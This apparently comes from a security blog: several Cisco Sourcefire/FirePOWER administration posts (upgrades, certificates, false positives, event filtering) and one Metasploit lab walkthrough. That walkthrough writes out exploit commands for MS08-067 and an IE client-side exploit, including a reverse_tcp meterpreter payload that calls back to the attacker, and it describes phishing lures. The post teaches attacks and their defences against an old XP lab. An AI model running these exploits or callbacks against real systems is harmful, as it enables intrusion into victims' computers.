Fixing “Error fetching groups” After Upgrade Sourcefire to 6.0

We have just upgraded Sourcefire to 6.0. Did everything go smooth? Well, almost. Some users (me included) are having issues fetching users and groups from Active Directory realm. The error is:

Error fetching groups. Please check your directory configuration and try again.

Like this:


The error does not manifest itself so obviously. We can still download users/groups by clicking Download Now (indicated by red number one on the image bellow), and the task *will* be successful, but when we refresh the retrieved results (red number two icon), we have the error from above.


In the Task Status window, we can see that groups and users are fetched successfully:


But still, we cannot refresh them and use them accurately in our policies.

The fix is very easy. We go under our realm configuration, System->Integration->Realm Configuration and we can see the user name that is used to connect to LDAP server(s) and pull the users and groups out. Previous version required it to be in displayed form:


We can see that the old form is CN=username,OU=someou,DC=domain,DC=tld, and that the Defense Center now wants it to be username@domain.tld, as indicated with the red square. So, the fix is easy: we change the form of the Directory Username field and save our changes:



Now, after we save changes, we can refresh our users and groups:


This should wrap up this issue.

Thanks for reading!


Posted in Cisco, FirePOWER, FireSight, Firewall, IPS, Security, Sourcefire | Tagged , , , | Leave a comment

Upgrade Cisco Sourcefire to 6.0

Just a few days after we have upgraded our Sourcefire infrastructure to 5.4, Cisco released the 6.0 version. Before we do an upgrade, first let’s briefly check out what do we get with this major release:

  • SSL Traffic inspection
  • DNS-based Security Intelligence
  • DNS Inspection and Sinkholes
  • Support for OpenAppID Defined Applications
  • Captive Portal Active User Authentication
  • Integration with Cisco ISE via PxGrid
  • Local Malware Checks
  • Multiple Domain Management

If we need one or more of these features, or just want to upgrade for any other reason, this blog will briefly shows us how to do that.

The process of upgrading is the same as we saw in upgrading from 5.3 to 5.4. The same principles apply for upgrading from 5.4 to 6.0. The only differences are system requirements for the latest 6.0 version.

The requirements are as follows:

  • ESXi must be running version 5.1 or 5.5
  • Defense Center must be running at least version 5.4.1
  • ASA FirePOWER SFR modules must be running version or later
  • ASA software must be at least at version 9.4(2) or 9.5(1.5)
  • Disk requirements are as follows:
    • For DC:
      • 16MB on / partition
      • 8GB on /Volume partition
      • Additional 1.5GB on /Volume partition if we upgrade SFR modules through DC
    • For SFR module:
      • 32MB on / partition
      • 7.7GB on /Volume partition

In the “Firepower System Release Notes” I did not find any memory requirements for the DC virtual machine. So, when I tried upgrading DC from, which was given 4GB of RAM (actually this amount of RAM was given to initial 5.3.1 installation), I got this error message:

11-16-2015 9-55-21 AM

Actually, the DC 6.0 requires 8GB of RAM. This info can be found in the “Cisco Firepower Management Center Virtual Quick Start Guide for VMware“, in this table:

11-16-2015 10-19-00 AM

What we have is:

11-16-2015 10-00-39 AM

The upgrade did not fail, so we don’t have to contact Cisco support. We have to shutdown the DC, add more memory and start the upgrade process again. The DC is shut down from System->Local->Configuration->Process->Shutdown Defense Center->Run Command:

System-Local-Configuration-Process-Shutdown Defense Center

After we add memory, we power on the virtual DC and, when it boots, we start the upgrade process again.

Finally, when we meet the requirements, the procedure is the same as in upgrading from 5.3 to 5.4.

If we followed that procedure, we have already met almost all requirements: the DC is running, the modules are at and ESXi is 5.1 or 5.5. We should check the disk requirements, as they are somewhat different. And we should take care of the ASA version. This must be at least 9.4(2) or 9.5(1.5). If it’s not, here is how to upgrade the ASA software. Here is more current version of the ASA upgrade paths:

11-13-2015 1-21-17 PM

The ASA upgrade procedure remains the same as described here.


See you soon in 6.0 ūüôā


Posted in Cisco, FirePOWER, FireSight, Firewall, IPS, Security, Sourcefire | Tagged , , , , , | 19 Comments

Installing Custom Certificate on FireSight Defense Center

We are using Cisco FirePOWER services for quite some time and we are almost gurus. But one thing keeps annoying us every day: a certificate warning when we access web interface of our Defense Center (DC):

11-11-2015 1-08-43 PM

This happens because the DC uses self-signed certificate and our browsers do not trust these kind of certificates, as they should not. Fixing this not only stops annoying us, but also makes our environment more secure, because we should not use self-signed certificates when ever possible.

We have two options here. Buying a commercial certificate or installing a certificate we issued through our own PKI environment. Because no clients or partners will use the DC, we can go with our own certificate.

First we need to create a Certificate Signing Request, or CSR. System->Local->Configuration->HTTPS Certificate:

11-11-2015 1-11-23 PM

We can see that this certificate is indeed a self-signed. There are two buttons on the top right of this page: “Create New CSR” and “Import HTTPS Certificate“. We will first create a new CSR:

11-11-2015 1-12-13 PM

Then we fill appropriate fields in:

11-11-2015 1-13-38 PM

The only important thing here is the Common Name field. We can type here a short name, like in the example above, or use a FQDN, such as firesight.popravak.local. It does not really matter which one we will use, as long as we use that same name from our browser. Otherwise we will still get an error message.

When we click Generate, we will be presented with the CSR:

11-11-2015 1-14-55 PM

Before we click Close, we need to select and copy given text in text editor. Now we go to our PKI server that issues a certificates for our organization. More about issuing certificates can be found in this blog. We have to make sure that the certificate type is set to “Web Server“:

11-11-2015 1-17-18 PM

Once we receive issued certificate, we go back to the DC under System->Local->Configuration->HTTPS Certificate, but now we will click the other button – “Import HTTPS Certificate“:

11-11-2015 1-18-28 PM

Here we paste the issued certificate, which we previously opened in a text editor and copied to the clipboard:

11-11-2015 1-19-41 PM

We click Save. Now we can see that the self-signed certificate is replaced with our own:

11-11-2015 1-20-13 PM

When we now open web session to our DC, we don’t have a warning any more:

11-11-2015 1-22-50 PM

Of course, there is a catch: our clients have to trust the CA authority that issued this certificate. If we have Windows machines that are part of an Active Directory domain with the PKI infrastructure in place, this is already taken care of. In some other cases, we have to make sure that our PCs do trust this CA, otherwise the error message will still be popping up.

I’m not talking about cases where we use Firefox, for example, and choose to ignore certificate warnings. This is not how things should be done.


Thanks for reading!


Posted in Cisco, FirePOWER, FireSight, IPS, Security, Sourcefire | Tagged , , , | 1 Comment

Cisco Sourcefire 5.3.x to 5.4.x Upgrade

I was thinking whether or not publish this one. Upgrading FirePOWER from 5.3.x to 5.4.x is perhaps most trickier of all upgrades I have ever done. Now, wait a sec, somebody will say, upgrade the DefenseCenter and then upgrade SFR modules. How tough can that be? Well, conceptually, that’s exactly how it’s done, but we have to read a ton of papers in order to have it all done right. We have to take care of versions for both DC and SFRs, as well as ASAs, free disk space, hypervisor versions, upgrade paths and so on. What bothers me most is that in upgrade documentation, several times we can find the sentence like “If something goes wrong, please contact Support.” I don’t like that, but the upgrade needs to be done, so let’s begin.

Our current version is 5.3.1, which can be verified by going to Help->About in our Defense Center:


Our SFR modules should be running about the same version. We verify this in the following portion of the DC: Devices->Device Management->Device->System:


Our task in this blog is to upgrade DC to the and SFR modules to These are the latest available versions at the time this blog is written. We will do an upgrade to 6.x later, as soon as that version gets available.

Here is what we are going to do:

  • Make sure that there is no any health issues raised within the DC
  • Reapply our policies
  • Transfer our 5.3.x backups to external storage, because the upgrade will delete them
  • Download required upgrade scripts and verify check sums
  • Plan the upgrade for off-peek hours
  • Transfer our upgrade files to the DC
  • Read as many documents as possible on the topic
  • Upgrade our DC to 5.4.0
  • Upgrade the DC to
  • Upgrade SFR modules to 5.4.0
  • Upgrade modules to


Read the release notes, don’t be lazy!

I’m not kidding! This blog is summary of the upgrade process and the upgrade process using this blog should go smoothly. After all, it has been tested in both lab and production environments. However, there are lots of stuff that can go wrong. For example version numbers, health issues, supported browsers, plugins and so on. Always have the “Plan B” prepared: what to do if something goes wrong. The upgrade process itself is not that tough, once the preparation is done as it should be.


Taking care of health issues
Under the Health menu, we have to make sure that there is no any issues, warnings, errors or criticals. We do not proceed until all is green.


Here we have two critical events, but they are found to be a false positives. In this specific case, the DC showed unusual high memory usage on two SFR modules, but after investigation it turned out to be a bug in SFR version 5.3.1 which reported the wrong memory usage to the DC and that actually memory allocation was just fine. So, we still have all green, although we have an critical reported by DC. Again, don’t start the process until all warnings/errors/criticals are corrected.

Reapply our policies
Because the upgrade process will reboot the DC and all modules, we need to make sure that our policies are applied, so we don’t lose any changes we made. We should reapply policies after each upgrade step.

Transfer our backups to external storage
The migration process will delete all 5.3.x backups from the DC, so we have to transfer our backups to external location. Here we can read how to do a backup and transfer it to a safe external location.

Download packages and verify checksums
We have to have a valid subscription in order to download needed packages. These are actual shell scripts that will be executed on the DC or SFR modules. We need the following packages:

First one is a DC¬†upgrade¬†from 5.3.1 to 5.4.0, second one is a patch that is going to move our basic 5.4.0 version to The third one is upgrade for SFR module from 5.3.1 to 5.4.0, and finally, last one is going to move SFR version from 5.4.0 to need to verify sums of each of them, because we don’t want to break our upgrade process because we had an error while downloading the file. There are many tools available for calculating hashes. For windows we can use FCIV tool, for example. This tools have to be downloaded and installed. On Linux, there are tools already installed. From Cisco site, we copy hash values, for example SHA512 and then, once the file is downloaded, we calculate the hash ourselves. For example:

$ sha512sum

We verify the calculated sum against one we copied from Cisco site. If we have a match, we can proceed. We do this for all packages.

Transfer files to DC
We are going to upload all four files at once. Under System->Updates, we click “Upload Update” and browse for the file:

After all files are updated, we can see them listed in the DC:



Upgrade the Defense Center
This is where the action begins. Before we go to the, we need to go to 5.4.0 first. In our scenario, we have virtual DC. There are no special requirements as far as virtualization is concerned. Supported platforms are VMware ESXi 5.1 and 5.5. Beside this, on the DC, we have to have 300MB free disk space for / partition and at least 5.5GB free disk space for /Volume partition. This requirement is for upgrading the DC. For SFR modules upgrade, we need 100MB of free disk space on SFR for / partition and 3.5GB free space for /Volume partition. If we are upgrading SFR modules from DC instead of CLI, we need additional 1GB of free space on /Volume partition on the DC. We can verify our DC disk space status by going to Dashboards->Summary Dashboard->Status->Disk Usage:


Here is one thing for consideration: although this is virtual platform, I didn’t find anything regarding making snapshot of the DC virtual machine before doing upgrade, just in case we are forced to revert back if the upgrade fails. Perhaps this can be done, but regarding failed DC upgrades, the release notes says:

If the update fails for any reason, the page displays an error message indicating the time and date of the failure, which script was running when the update failed, and instructions on how to contact Support. Do not restart the update.Caution: If you encounter any other issue with the update (for example, if a manual refresh of the Update Status page shows no progress for several minutes), do not restart the update. Instead, contact Support

So, if there is no anything about recovering from failed update using snapshots, I would not try using them.

To initiate the upgrade, we go to System->Updates and click the update icon next to the update we are about to start:


The upgrade of the DC will reboot the DC. Before that, at some stage, we will be logged out and when we log back in, we can track the upgrade process. It is important to note that the upgrade and restart of the DC will not cause interruption in the SFR modules traffic flow. We just cannot manage devices while the DC is upgrading. Once the upgrade starts, it will take some time to complete. Cisco does not provide any estimates, because the speed of the process depends on the hardware platform the DC runs on. Before we actually click that button, we have to have in mind that we cannot roll back from 5.4.x to 5.3.x, because the upgrade process deletes all uninstaller scripts. If we want to go back, we have to (yet again) contact the Support. Once the upgrade starts, we can monitor but not interrupt it! Unless we power off virtual machine, which is very, very bad idea! Let’s click the button…

When we do so, we select the DC we want to upgrade and click Install:


When the upgrade process begins, for a while we can see the process under running tasks:


At some point, the browser session will end and we have to log back in. When we do, we can track on the update status:


By clicking “show log for current script” we can see a log for the upgrade process:


As we can see, the process really takes some time. So, let’s grab a cup of coffee …

Now, that’s what I’m talking about! Almost two hours:


Now the DC will reboot. We should clear our browser cache and restart web session. When we log into our new DC, we need to accept the EULA. After that, let’s verify our DC version. The Help->About produces the following output:


Now we may need to apply new intrusion rules and install latest VDB and GeoDB. We may not be required to do so if these rules are up to date. But if we do need, this is done under System->Updates->Rule Updates.

The VDB is updated from System->Updates->Product Updates.

The GeoDB is updates from System->Updates->Geolocation Updates.

Finally, we need to reapply our policies to SFR devices. We already know how to do that.

Now we need to verify the upgrade process. Check the versions, health status, traffic logging, communication to SFR modules and so on…

This completes our first major task. We have upgraded the DC to 5.4.0 version. Before we proceed with the SFR modules upgrade, we are going to repeat the whole DC upgrade process, but this time, we are going from 5.4.0 to The process is almost the same, but instead of selecting the upgrade file, for example

we should chose the patch file, for example

This file is listed as a patch within the DC, with the appropriate version number:

11-9-2015 1-02-15 PM


Upgrade SFR modules

At this point we have our DC at version, but our modules are 5.3.1. We need to upgrade modules to 5.4.0 first, and then to the In order to upgrade our modules to, the ASA software must be at least 9.3.1. Disk space requirements for module upgrades can be found in the DC upgrade section. Again, don’t be lazy and read the release notes for versions that are about to be installed!

We have to have in mind the fact that the during the upgrade, SFR modules will reboot. This can cause a traffic flow interruption. With the ASA software modules, we have two options when sending the traffic to the module:

  1. sfr fail-open
  2. sfr fail-close

The “sfr fail-open” allows traffic to flow even if the module is down for some reason, such as an upgrade. With this option, if the module’s status is up, then the traffic is sent to it, and if the module is in different state, then the traffic won’t be sent to the module, but rather go through the ASA without inspection. With “sfr fail-close” the traffic will be dropped if the module is down or rebooted.

Above mentioned applies to the data plane, which means the traffic itself. The module has also the management plane. If we remember when we deployed these software modules, they share Management interface with the physical ASA box. When the module reboots, we will not be able to access the module for the sake of management or monitoring.

This is what we are about to do. First, we will monitor the simple ICMP echo request going through the ASA/SFR while upgrading the module from 5.3.1 to 5.4.0 and with “sfr fail-open“. Then we will do the upgrade from 5.4.0 to with the “sfr fail-close” and compare results. In the first case, we lost only two pings, perhaps because a CPU spiked, or something like that. I believe that no sessions were dropped, but I would not count on that in the production environment. In the second case, the traffic was being dropped the whole time the module was upgrading.

We trigger the update process the same way we did with the DC, by selecting appropriate update, clicking install icon and select desired module:

11-10-2015 12-05-19 PM

We have option to select the module we want to upgrade:

11-10-2015 12-57-39 PM

It would be nice if we had at least one test module, so we can do the upgrade on that one. After we confirm that the upgrade was successful, we can then apply the upgrade to some or all other modules.

We have to confirm the action:

11-10-2015 1-44-44 PM

Now we wait and watch the progress:

11-10-2015 1-03-14 PM

11-10-2015 1-27-54 PM


During the module upgrade, no activities should be performed on the DC except for monitoring the upgrade process.

Fine. We have successfully upgraded our test module and now it’s time to go with the production upgrade. If we have a single ASA/SFR, the process is exactly the same. As we saw, we missed only two pings. I suppose that all connection won’t suffer if we are in fail-open mode. But, Cisco says that we can expect traffic interruption, so we may need to plan for the downtime. The estimate SFR module upgrade is about 45 minutes, so we can expect the downtime to last close to that.

If we had an Active/Standby fail over (most probably even Active/Active, but I did not try that) then we should not have any downtime. With the A/S failover, the SFR module is treated as any other interface. This means that we should first upgrade the module inside the standby unit. During the module upgrade, active unit will pass the traffic, as usual. After the upgrade is successful, we initiate manual fail over, so the standby unit becomes active and starts passing the traffic. Then, we upgrade the other module. After this upgrade is done, we can fail over back to the previously active unit. This step is optional, though.

Once we have upgraded our modules to 5.4.0, we repeat the same steps in order to do the upgrade to the version.

Of course, we should not forget to reapply our policies after each upgrade!

That’s all for now. Until the 6.0 version, stay safe!


Thanks for reading.


Posted in FirePOWER, IPS, Security, Sourcefire | Tagged , , , , | 24 Comments

Client side exploitation attacks

Let’s take a short break from Sourcefire and talk a little bit about client side exploitation. Don’t worry, we will go back to SF soon.

So, what¬†is client side exploitation? Well, let’s talk a little bit about “regular” exploitation. Perhaps it’s wrong calling them server side exploitations, because we can use them to attack or exploit client machines as well. Of course, if we were strict, then we could not call client side exploitations “client“, because we can use them to exploit servers as well. Quite a confusion? Not for a long…

We can think about server side exploitation as if an attack came from some PC on the Internet towards a server, laptop, PC or whatever, that is sitting in our network. To be precise, the attacker does not have to be on the Internet, or untrusted network, while the victim is on the internal LAN, or trusted network. They both can reside on the same network, but important thing to know about this type of attack is that we are sending some data from the attacker to the victim hoping that we will achieve a buffer overflow or something similar that will allow our payload to execute and make this victim machine available to us to do whatever we want.

Let’s illustrate this scenario.

We will use the XP machine as a victim and Kali box as an attacker machine. I know, I know, hacking XP is lame, but it will illustrate concepts just fine. Same concepts apply to any other operating system, we only have to find a vulnerability to exploit.

So, this is our network:


On¬†the left hand side, we have an ordinary user, minding his business. On the right, our attacker is happily using Kali Linux and Metasploit framework (or any other appropriate tool). In the middle, we can see that the firewall on user’s PC (or somewhere in between) is¬†disabled or there is no firewall at all. This is important for server side exploitations. If all ports are closed, than we don’t have any service to attack. If you ever wonder why we should have a personal firewall turned on, this is why. Now, I’m not saying that we are safe with the firewall on, but it’s much better with it than without it. Anyhow …

Let’s start our MSF:


Then we search for the most used vulnerability of them all – ms08_067_netapi and we set basic parameters as follows:

msf >
msf > search ms08_067_netapi
Matching Modules
msf >
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > set LPORT 54321
LPORT => 54321
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) >

This blog is not about Metasploit, but in short: we selected our XP as a target, and we will be using MS08-067 vulnerability to send a meterpreter payload to the victim.¬†This payload is a peace of code that, when executed, ¬†will listen on port TCP/54321 on the XP box. This payload will allow us to control remote system. Let’s now run our exploit:

msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > run
 [*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP – Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability…
[*] Sending stage (885806 bytes) to
[*] Meterpreter session 1 opened ( -> at 2015-09-07 10:55:55 +0200
 meterpreter >

We can see that se session is opened from Kali Linux to the XP ( ->

The unsuspecting victim can verify this as well:


Now, let’s enable our personal firewall and try our exploit again:

msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > run
[*] Started bind handler
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (
msf exploit(ms08_067_netapi) >

Clearly, the attack failed, because the vulnerable service we used to exploit is not available any more.

From the victim’s stand point, this is a win situation, but what about attacker’s perspective? This is where client side exploitation comes into play.

Instead of hacker attacking¬†a service, he/she will trick an user into attacking¬†his/hers own PC. The logic behind this? We use social engineering or spear phishing to lure an user in opening a mail that contains a link to our exploit code. When the code¬†downloads and runs, it opens a connection to the attacker’s box. Because it is safe to assume that all (or at least most used) ports are opened from PC to the Internet, this is a way to obtain access to user’s PC. For example, user will use TCP/80 port to collect the exploit, and then, once exploit runs, it will connect to attacker box with port TCP/21. When it comes to services that will be attacked, it could be browser, Adobe or Java plugin or something like that. One note about using ports such as TCP/21 or ¬†TCP/25 for control channels. Some firewalls inspect protocols running on these ports. One such firewall is Cisco ASA. This means that the ASA will drop the traffic going through the SMTP port which is not SMTP traffic. Reasonable enough.

So, let’s try our client side attack now.

First, on Metasploit we select appropriate exploit. This is the most difficult part, because there¬†are many exploits and many application versions on client side that can be exploited. We should know about user’s PC, what OS he/she is using, what browser type and version and so on. For our example, we know that our client’s XP/Browser has MS06-014 vulnerability that we can exploit. We search for that in the MSF. We could also search for a part of the exploit name:

msf > search MS06-014


msf > search ie_createobject

We will be returned “exploit/windows/browser/ie_createobject“. We will go ahead and configure MSF for this exploit:

use exploit/windows/browser/ie_createobject
set PAYLOAD windows/meterpreter/reverse_tcp
set SRVPORT 80
set LPORT 21

Before we run this exploit, let’s see what we just typed in. First, we selected the exploit we know will work on client’s PC. Then we select appropriate payload. Because the user is behind the firewall, we cannot use “windows/meterpreter/bind_tcp“, but instead we will use “windows/meterpreter/reverse_tcp” which will open the control channel from the PC to us, instead of us opening this channel to the PC. With SRVHOST we specify our IP address and with SRVPORT a port on which our box will listen for client’s connections for the sake of downloading the exploit. Once the exploit is downloaded and ran, then it will connect to our IP address listed by LHOST and port given by LPORT. So, SRVHOST/SRVPORT combination is used to host the exploit that client will download and run, while LHOST/LPORT pair is used to host the code for control channel. Both connections are coming from the client to the attacker. A perfect way to avoid personal firewall.

To summarize, user will click the link he/she is tricked to click, and will connect to attacker’s box to port TCP/80.¬†From there the user will collect the specified¬†exploit which will be executed on user’s PC. Once the exploit is run, it will connect to attacker’s IP address and port TCP/21 to establish a control channel. Through this channel the attacker controls user’s PC. Let’s run the exploit:

msf exploit(ie_createobject) >
msf exploit(ie_createobject) > run
[*] Exploit running as background job.
[*] Started reverse handler on
msf exploit(ie_createobject) > [*] Using URL:  httx://
[*] Server started.
msf exploit(ie_createobject) >

Now we wait for a user to open the link we sent. Once this happens, we can see that in the MSF:

msf exploit(ie_createobject) >
[*]¬†¬†¬† ie_createobject – Sending exploit HTML…
[*]    ie_createobject РSending EXE payload
[*] Sending stage (885806 bytes) to
[*] Meterpreter session 1 opened ( -> at 2015-09-07 14:51:47 +0200

msf exploit(ie_createobject) >

This, again, can be verified on the user’s PC with the netstat command which will show a connection from PC to Kali box from some random port to port TCP/21.

From the above output, we can see that the control connection is opened, and we can view active sessions:

msf exploit(ie_createobject) >
msf exploit(ie_createobject) > sessions
Active sessions
  Id  Type                   Information        Connection
—¬† —-¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬† ———–¬†¬†¬†¬†¬†¬†¬† ———-
1   meterpreter x86/win32  XPSP2\ceh @ XPSP2 -> (
msf exploit(ie_createobject) >

And with “sessions -i 1” we interact with the session number one:

msf exploit(ie_createobject) >
msf exploit(ie_createobject) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >


In this blog we described the client side attacks or exploitations. We used the old XP box with the old IE, but the same principal applies to any combination of operating systems and client applications running on them.

It’s obvious what needs to be done in order to prevent this kind of attack: patch our systems and applications and train our users about risks that social engineering and phishing attacks involve. But, because we don’t trust our users and our technical support team that much, we will see how to mitigate the client side exploitation attacks with Sourcefire.

See you soon.


Posted in Metasploit, PENTEST, Security | Tagged , , , | Leave a comment

Sourcefire Fighting False Positives

One important thing when dealing with IPS is fighting False Positives. A false positive is not solely an IPS term, and I think it’s adopted from medicine. For example, when our MD is checking our blood for presence of some bacteria, for example, and result comes back positive, but bacteria is not actually there – it’s a false positive. Positive here indicates a presence of a bacteria, but the finding is false, hence the expression.

There are similarity to this  in IT in general, as well as in IPS. In IPS a false positive would be an event that is logged as some sort of attack, but we know that the event is not an attack.

Why would we care about false positives (FP)? Well, first of all they affect the system performance by logging events to the database. Second, our disk space is filling with junk. And finally, they are taking away our precious time.

Before we show how to deal with FPs in Sourcefire, a little warning: we have to be very careful when declaring something as a FP. Some event should be declared as a FP only after thorough investigation, and we must know that some event may represent a FP in one environment, while may be a real attack in other.

Ok, let’s check our environment … A nice place to start would be one of our dashboards, for example “Application Statistics“. Here we can see a widget named “Impact 2 Events by Application“. We can set time range for one hour, one day and one month, for example, and we can see the following info:




We can clearly see one application that has abnormal number of events, comparing to other applications. We can click a window icon left to the “SHOUTCast Radio” hyperlink and an “Application Detail View” window opens:


From here we can go to “Context Explorer” of our DC, which we will do in a second, we can open Wikipedia on this topic, or searching Google, Yahoo or Bing. Let’s try Google. We can see that this is the streaming protocol that we can use to listen to radio stations, for example. We have to find out why and who is using this protocol in our network and decide if this is something we should ignore in our logs in the future.

At this point, we don’t know if this is an attack or not, we just see lots of traffic.¬† Let’s deep dive into this by right clicking SHOUTCast application and selecting “Open In Context Explorer“. First we can see Traffic and Intrusion Events over time:



Then we can see Traffic by Source IP, looking at amount of traffic and number of connections:


And we can see that one host is “attacking” different IPs:


After investigation, we figured out why this is used in our network and decided that it can be declared as a false positive and hence as safe to ignore. It is a server that streams some audio/video to our clients for educational purposes. So, it’s safe to declare it as FP. While we are in “Context Explorer“, at the bottom of the page we can see that this traffic actually triggers the “HI_CLIENT_BARE_BYTE (119:4)” rule:


If we click (left click) to this rule, we have options to dive deeper into events that triggered this rule. The option we need is “Drill into Analysis“:


First we see what rule has been triggered and how many times:


The number of hits is small because it represents a small period of time. In this particular environment, there are hundreds of thousands of these events logged. If we check a check box left to the rule message and select View, we are displaying all events related to this rule:


By now we already know that this is normal activity in our network and that the streaming server 192.x.y.6 is sending educational data to many of our clients. It’s time now to actually declare this as FP. If we right click the source IP of 192.x.y.6 (which is the IP of our “attacker”), we have several options displayed and we will select Suppression. We talked about suppression in our previous blog. A Suppression window opens:


We can suppress this rule within our current policy (the policy which investigation led us to this point) or suppress it in all IPS policies. We select current policy (red arrow points to this selection) and we have options to suppress based on Source, Destination or Rule. All about suppression can be found here. We don’t specify source or destination IP. When we click Source, the source IP is automatically populated based on the row we right clicked in previous step. Same goes with the Destination option. Because we have many number of PCs receiving this streaming, whose IPs we don’t know, we can select Source option, because this is the server that actually send this data and is considered to be an attacker. After we make our selection, we click “Save Suppression Options” and then “Close window“.

We can verify our settings as if we were going to suppress events like we did in previous blog. Within our IPS policy, we go to “Rules->Rule Configuration->Suppression->By Source” and we can see our rule and icons indicating that a filter is in place:


If we select this rule and click Details, we could see a familiar suppression settings:


Finally, we have to reapply our access control policy. When we do so, this 119:4 rule won’t trigger any more if the source is one we specified in our suppression settings. More precisely, it won’t generate log entries in our DC.

Our effort can be summarised through the following screenshot:


Previously, we had more than thousand events per hour, but now we don’t see any.

This example shows roughly the steps to perform in order to declare something as a false positive. The toughest thing to do is actually being sure that something is a FP. There could be many steps involved and many time spent to reach the point that we can safely say this is something we are not interested in.


Thanks for reading.


Posted in Cisco, FirePOWER, IPS, Security, Sourcefire | Tagged , , , | 1 Comment

Sourcefire Event Filtering, Dynamic States, Alerting and Comments

We saw earlier how to create a custom signature in our Sourcefire system. Then we created a rule without tweaking it, but sometimes this is something we have to do in order to fight false positives or reduce amount of data logged to our DC. Let’s imagine we are under attack. One rule triggers and generates event in the database. Same rule triggers again, log entry is created. Again and again and again, … If a rule is triggered one million times, how many log entries there would be? Tough math, but it’s obvious that this poses a huge problem to our IPS system. Fortunately, Firesight, by default, logs only one event for one attack to one destination IP for duration of one minute. This greatly reduces number of events logged to the database and improves performance. This global setting can be overridden on a rule basis, or turned off, for some reason.

Let’s focus on rule “PROTOCOL – FTP CWD ~root attempt“, a rule with GID:1 and SID:336. We can find this rule by typing ~root in Filter edit box and hitting <ENTER>:

31-Jul-2015 10-34-55 AM

This rule is disabled by default, which is indicated by dimmed green right pointing arrow. What this rule does is it detects regular FTP user trying to reach root user’s folder. Now days this attack is not possible on most systems, because they are compiled or set up to disallow this, but back in days it was pretty common. I like to use this rule because it is easy to set up a test environment. This rule exists on all IPS systems I worked with and we just need to enable it. We only need a FTP server we have access to and testing is very simple: we log in to our FTP server and issue “cd ~root” command.

At this point, nothing will happen, because this rule is disabled. So, let’s enable it by selecting it’s check box, clicking “Rule State” button and select “Generate Events“:

31-Jul-2015 10-42-57 AM

Now the green right pointing arrow is not dimmed, which means this rule is enabled. Let’s commit our changes and apply the access control policy. When all changes are applied, let’s test our rule:

31-Jul-2015 10-48-13 AM

We did the attack and can verify it’s logged by going to “Analysis->Intrusion->Events“:

31-Jul-2015 10-52-00 AM

We can see that the attack is caught and the hit count is one. Previous log entry is from my first try, half an hour ago. What is going to happen when we try this attack several times within very short period of time? Let’s open four command shells, log to our FTP server, type in “cd ~root” in all four, and hit <ENTER> in each console as quicker as possible.

31-Jul-2015 3-06-25 PM

We didn’t expect this, did we? We hit the server four times but only one log entry showed up. Well, there is a default setting for an IPS policy that is named “Global Rule Threshold“. This setting can be found at “Policies->Intrusion->Intrusion Policy->CEH POLICY“. This is our current test policy. If we edit this policy, clicked “Advanced Settings“, we could find “Intrusion Rule Threshold->Global Rule Thresholding” option which is enabled by default:

31-Jul-2015 2-52-17 PM

If we click yellow pencil icon, we could see the defaults:

31-Jul-2015 2-52-56 PM

We will deal with these options later in this blog. For now, we can remember that no matter how many same attack instances occurs within sixty seconds and they all target the same destination address, only single log entry will be produced. Excellent! This is why we attacked four times and yet only one log entry is found.

Let’s disable this option for the sake of demonstration. We find this setting and select Disabled.

31-Jul-2015 3-10-41 PM

Then  we reapply our policies.

Let’s try our attack four times again.

31-Jul-2015 3-20-11 PM

There are now  all four events logged. If we select this event and click View, we would see all of them:

31-Jul-2015 3-25-45 PM

Of course this is bad. Our database will fill up very quickly. We will turn this feature globally back on later. Before we do that, let’s start what this blog post is all about. Setting event filters.

Let’s open our IPS policy and find our 1:336 rule. We click on it and “Show details” button appears at the bottom. When clicked, rule details appears:

31-Jul-2015 3-31-52 PM

Let’s go through all of these options.

  • ¬†Thresholds This setting controls how many entries will be logged for each attack event per time period. This overrides previously described global setting. Let’s say that we want to log a single event for every five attacks within ten seconds. We click Add button and specify five for Count field and ten for Seconds field.

31-Jul-2015 3-52-44 PM
Track By” option can be source based or destination based. Source based tracking aggregate different source IPs to single within given parameters, whether destination based tracking does the same for destination IPs. In our case it does not matter because we always attack the same server from the same laptop.

31-Jul-2015 4-00-14 PM

Now we open six (or more) terminals and pull off this attack. It does not matter how many times we attacked our server within ten seconds period, Sourcefire will log only five, because this is our threshold:

03-Aug-2015 12-34-27 PM

    • Suppressions We can use suppressions to exempt hosts and/or networks from producing log events for some particular rule without disabling the rule. For example we want our “CWD ~root” rule to be active and produce a log event for all source IPs but our IP of, which could be an IP from which we do penetration testing and vulnerability assessments. So, let’s make this change:03-Aug-2015 12-41-39 PM
      We can prevent or suppress event creation based od Source IP, Destination IP or Rule. This only prevents events from being logged, but does not have any influence on rule action. So, in our case, if the attack is performed from, the Sourcefire will not produce an log entry, but the action will be carried, for example connection will be dropped.
  • Dynamic State This is very powerful option. We can say for some rule that we want it just to produce alerts, but when the number of events crosses some boundary, we want to become more aggressive and begin dropping connections for some time, after we switch back to producing alerts.

03-Aug-2015 12-58-31 PM
In the above example, we said that if the attacker’s IP is and he/she tries pulling this attack off more than three times in ten seconds, we switch from just generating logs to dropping connections and we will stay in this state for fifteen seconds, before we switch back to just producing alerts.

  • ¬†Alerts With this option we specify that whenever the rule is triggered, we want to send a SNMP trap to a management station defined in our IPS Policy, under “Advanced Settings->External Responses->SNMP Alerting“. There is no any options here, just Add/Delete.


  • ¬†Comments In this section security engineer can add comments about something that is changed, about rule behaviour¬† or something similar. For example:
    03-Aug-2015 1-18-38 PM

Once the comment is added, it cannot be removed. All other filters we can remove if we want to.

  • ¬†Documentation¬† This section provide us with the documentation regarding this rule. Here we can see how this attack can be performed, what are the implications, where we can find more about it and how this rule is written in Snort notation:03-Aug-2015 1-21-39 PM


If we have any filter turned on, this is displayed by a row of icons next to the name of our rule. In the following example, we can see that we have both Threshold and Suppression turned on (indicated by number two in the front of filter icon), and that we also have a Comment attached to this rule:

03-Aug-2015 1-53-48 PM

